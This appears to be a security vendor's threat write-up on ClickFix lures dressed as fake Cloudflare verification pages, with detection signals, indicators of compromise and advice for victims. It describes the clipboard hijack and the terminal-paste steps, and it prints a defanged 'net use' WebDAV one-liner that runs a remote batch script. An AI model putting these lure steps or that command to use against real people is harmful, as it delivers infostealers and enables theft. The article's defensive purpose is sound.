Fake Cloudflare Verification

What it is

Fake Cloudflare verification is a Cloudflare-themed instance of ClickFix, a social-engineering technique where a webpage silently writes an attacker-supplied command into the visitor’s clipboard, then walks them through pasting it into an admin terminal under the cover story of “completing a verification step.” The overlay borrows the real challenge page’s language (“Verify you are human”, “human verification”, “checking if the site connection is secure”), so the request to open a terminal reads like one more step of a routine check. The browser never downloads anything; the user runs the attacker’s code with their own hands, often elevated, while believing they completed a routine bot-check.

The technique is a delivery vector, not a payload. The same lure pattern has been observed dropping infostealers (Lumma, Vidar, StealC), loaders (DarkGate, Latrodectus, CastleLoader), and remote-access trojans (NetSupport RAT, AsyncRAT). The Cloudflare branding here is the latest social-engineering wrapper around a paste-and-run primitive that has been in active use since 2024.

How it works

1. Compromised or attacker-controlled host page. Often a legitimate site injected by a ClearFake-style script, or a lookalike that mirrors a brand the victim was already searching for. The screenshot above shows the lure layered over a Cloudflare impersonation background, the kind of detail that sells the page as “real Cloudflare in front of a real merchant.”

2. Fake CAPTCHA overlay. The page renders a near-pixel-perfect Cloudflare orange dialog: “Verifying you are human · This may take a few seconds.” A checkbox and a “VERIFY” button anchor the same visual grammar as the real Turnstile widget.

3. Clipboard hijack. When the victim clicks the checkbox, JavaScript calls navigator.clipboard.writeText(...) (or the older document.execCommand('copy')) to silently load a PowerShell command into the clipboard. Nothing visible happens.

4. “Verification steps.” The dialog then presents what looks like a verification procedure:

   1. Open PowerShell/Terminal as admin (Win+X)
   2. Select Windows PowerShell/Terminal (Admin) (I)
   3. Paste verification code (Ctrl+V)
   4. Press key (Enter)

   That Win+X then I sequence is the Windows shortcut for opening Windows Terminal (Admin) on Windows 11, or Windows PowerShell (Admin) on Windows 10. Earlier ClickFix variants pointed the victim at the Run dialog (Win+R) and executed in user context. Steering them into an elevated terminal instead is one of the defining shifts in the 2025 generation: the pasted command now runs with admin rights from the first instruction.

5. PowerShell drops and runs a hidden binary. The clipboard payload is a small downloader that retries the fetch a handful of times, writes the binary into a random sub-directory of %LOCALAPPDATA%\Temp, runs it with -WindowStyle Hidden, and then deletes itself from disk:

   

   The download URL in the captured sample includes a mode=cloudflare query parameter, suggesting the C2 backend tracks which lure each victim came from and can serve different malware families to different lure pages from the same dropper.

The macOS Terminal variant

The same lure kits fingerprint the visitor’s operating system and swap the instructions to match. Windows visitors get the PowerShell flow above; macOS visitors are told to open the Terminal app and paste a command that pipes a curl download straight into bash, most commonly installing the Atomic Stealer (AMOS) infostealer, and Linux visitors have received equivalent shell one-liners. The “verification” framing is identical in every branch; only the terminal application and the payload change. On macOS the trick also sidesteps Gatekeeper, because a binary fetched by curl never receives the quarantine attribute a browser download would carry.

The interactive variant

The most polished iteration observed to date drops the static list of instructions in favor of a fully interactive wizard that reveals one action at a time and reacts as the victim performs it, the same guided-onboarding pattern legitimate software uses to walk a new user through setup.

It opens on a value proposition instead of a challenge. A “One-Time Device Verification” panel offers to let the visitor “browse for 90 days without interruptions” through “advanced hardware fingerprinting,” and cards labeled “Hardware Fingerprint,” “90-Day Access Token,” and “Privacy by Design” borrow the language of privacy features. Running a command is reframed as enrolling a trusted device, a convenience the visitor opts into rather than a hoop to clear.

Behind that panel the page has already written the attacker’s command to the clipboard, and the guided steps exist only to get it pasted and run. On-screen keycaps prompt the victim to hold the Windows key and press R, highlighting as if pressed to confirm each action. The instant the Run dialog opens, the on-screen instructions rewrite themselves to “Press Ctrl+V to paste verification code” and then confirm with Enter. At no point does the victim type anything or see what they are actually running.

The pasted payload here is not a PowerShell downloader but a net use one-liner that mounts a WebDAV endpoint over HTTP: cmd /c net use Z: hxxp://<host>/webdav /persistent:no && "Z:\update.cmd" & net use Z: /delete (defanged, with the attacker host removed). It maps a WebDAV server to drive Z:, runs a batch script straight off that mount, then unmaps the drive to tidy up. Two properties make it evasive. The transport is ordinary outbound HTTP, so it sails through the egress filtering that would block a raw SMB share on port 445, and because the script runs from the mount rather than a browser download, the file never receives a Mark of the Web or passes through the download-scanning path most endpoint controls watch. It is the Windows counterpart to the detection gap the macOS curl-into-bash branch relies on.

This iteration also steers the victim to the Run dialog (Win+R) in ordinary user context rather than the elevated terminal (Win+X, I) covered above. The walkthrough trades administrative rights for a smoother, more foolproof path: fewer keystrokes, no UAC prompt to hesitate at, and a guided sequence a non-technical victim is far more likely to finish.

If you already ran the command

Treat the machine as compromised from the moment you pressed Enter. The payloads this lure delivers begin working immediately, and infostealers in particular finish collecting browser data within seconds, so the order of operations matters:

1. Disconnect the machine from the network. Turn off Wi-Fi or unplug Ethernet. This cuts the malware off from its operator and stops any second-stage download still in progress.
2. On a work device, stop here and call your security team. Do not try to quietly clean it. The endpoint telemetry from the incident is how responders find whatever the binary did next.
3. Change passwords from a different, clean device. Start with email, banking, and anything saved in the browser of the affected machine, then use each provider’s option to sign out of all active sessions. Stolen session cookies let attackers into accounts without a password, so signing out everywhere matters as much as the reset. Turn on multi-factor authentication wherever it is missing.
4. Assume crypto wallets and saved cards are exposed. Infostealers prioritize wallet files, browser-stored card numbers, and autofill data. Move funds out of any wallet whose keys ever touched the machine.
5. Scan, then prefer a rebuild. Run a full antivirus or EDR scan to identify the family, but treat a wipe and reinstall as the only clean end state for a personal machine; loaders in this class routinely install persistence and stage additional malware.
6. Report the lure page. The domain serving the fake check can be reported and taken down like any phishing site. Our phishing site takedown guide walks through the registrar and hosting-provider process.

Reused at scale

The clipboard-hijack and verification-steps logic on the lure page is a single JavaScript file, served as cf.js. Operators reuse the same client-side code across thousands of unrelated host pages rather than building per-target lures, which makes the file itself a high-confidence indicator wherever it surfaces.

A URLScan search for the file’s hash returned over two thousand injected URLs in the seven days before this entry was published. See the indicators of compromise section below for the hash and the search query.

Why it still works

Three reasons the pattern keeps converting:

• Brand trust is doing the work. Cloudflare’s challenge page is one of the most-seen “wait a moment” interstitials on the open web. Users are conditioned to interact with it, not interrogate it.
• No exploit, no AV signature. The browser does not download or run anything. The user types the command themselves, and Windows treats it as legitimate user input. Endpoint controls that focus on web downloads and document macros do not see this path.
• Elevated execution by design. The Win+X then I route specifically targets an admin context. Even when UAC prompts, the user has already committed to the “verification” framing and clicks through. From the malware’s perspective, the first line of code runs as admin.

First documented

ClickFix has been actively in the wild since 2024, with paste-and-run lures showing up in fake error dialogs, fake update prompts, and fake CAPTCHAs across the open web. Cloudflare Turnstile-themed variants of the technique are not new either. What is new is how clean this 2025 iteration looks.

Earlier Cloudflare lures betrayed themselves with off-brand colors, kerning slightly out of true, copy that read like translated boilerplate, and inconsistent spacing. The variant captured in the screenshot above is pixel-correct: the orange gradient header, the cloud mark, the typography, the “This may take a few seconds” subtext, the “Verification steps:” panel, the keycap chips, and the “I am not a robot - Cloudflare ID:” footer all match the visual language a real user has been trained to trust. Phishing UI has been catching up with the brands it impersonates for years, and the Cloudflare lure has now closed that gap to the point where visual scrutiny alone is no longer a reliable defense.

Signals to watch for

• Pages serving fake Cloudflare CAPTCHA HTML, especially with Win+X then I in the visible instruction text. Real Turnstile never asks the user to open a terminal.
• Verification copy that dangles a reward for finishing, such as a “one-time device verification,” a “90-day access token,” or a promise to “browse without interruptions.” A real challenge offers nothing in return for completing it.
• A cf.js script tag loaded from any non-Cloudflare host. Hash and URLScan footprint are in the indicators of compromise section below.
• New domain registrations on lower-scrutiny TLDs (.lat, .shop, .top, .click) returning HTML that combines Cloudflare-style branding assets with a clipboard-write call.
• Outbound PowerShell from user workstations to APIs that take a token= and mode= query pair, or to short-lived .lat and .shop C2 infrastructure.
• Endpoint telemetry showing wt.exe or powershell.exe spawned with -WindowStyle Hidden, an Invoke-WebRequest to a non-corporate domain, and a binary written to a randomized sub-directory of %LOCALAPPDATA%\Temp.
• net use mapping a drive to an hxxp:// WebDAV URL, which starts the WebClient service, followed immediately by a .cmd or .bat running from that drive letter and the mapping being deleted moments later. The interactive variant runs its payload straight off a WebDAV mount over HTTP, sidestepping both SMB egress filtering and browser download scanning.
• On macOS endpoints, Terminal spawning curl piped into bash immediately after a browser visit; the macOS branch of this lure delivers Atomic Stealer that way.
• User reports of “the Cloudflare check told me to open PowerShell.” That sentence is itself the indicator of compromise.

Why it appears here

ClickFix has gone from a novelty in 2024 to one of the highest-volume initial-access patterns in 2026. The Cloudflare-themed variant is durable because it borrows the most-trusted “are you human?” surface on the consumer web, and because the clipboard hand-off bypasses the entire web-download and macro-blocking pipeline that the last decade of endpoint defense has been built around. We see fresh lure infrastructure registered weekly, frequently on lookalike domains adjacent to brands we already track for credential phishing. Lure domains in this family can be reported and removed like any phishing site; our phishing site takedown guide covers the registrar and hosting-provider process.

Indicators of compromise

• File name: cf.js
• SHA256: 1627ba708bd48cd1cb16021e09b3ddd6c75ee2686d165bd9ba70ace5b3486d5c

URLScan query, scoped to a rolling seven-day window:

hash:1627ba708bd48cd1cb16021e09b3ddd6c75ee2686d165bd9ba70ace5b3486d5c AND date:>now-7d

The URLScan search for that hash returns every URL that recently served cf.js. At the time of writing it found over two thousand infected URLs in a rolling seven-day window. The date:>now-7d filter is relative to when the query runs, so anyone opening the link later sees the seven days preceding their own visit rather than ours, which keeps the result set a live read on whether the lure is still in active distribution.

Further reading

• SecurityWeek’s coverage of Cloudflare Turnstile-themed lures: ClickFix Attack Exploits Fake Cloudflare Turnstile to Deliver Malware.